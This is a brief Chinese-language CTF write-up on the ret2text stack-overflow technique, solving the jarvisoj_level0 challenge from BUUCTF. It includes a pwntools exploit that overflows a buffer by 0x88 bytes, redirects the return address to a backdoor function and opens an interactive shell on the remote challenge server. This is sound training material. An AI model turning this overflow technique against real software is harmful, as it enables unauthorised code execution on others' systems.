原理 #
ret2text就是篡改栈帧上的返回地址为程序中已有的后门函数,我们需要知道对应返回的代码的位置。
例题 #
jarvisoj_level0,可在buuctf网站中下载。首先使用checksec工具查看它开了啥保护措施,基本全关。
然后我们使用ida查看一下该程序,程序很简单,有明显的栈溢出漏洞和后门函数,后门函数地址就为0x40059A。
ida帮我们计算出来了buf字符串距离rbp有0x80个字节,由于rbp本身还占8个字节,所以溢出0x88个字节后将返回地址修改为后门函数的地址exp如下。
from pwn import *
#p = process('./level0')
p = remote('node3.buuoj.cn',27644)
sys_addr = 0x40059A
payload = cyclic(0x88) + p64(sys_addr)
p.recv()
p.sendline(payload)
p.interactive()
1
2
3
4
5
6
7
8
9
10
11
12
2
3
4
5
6
7
8
9
10
11
12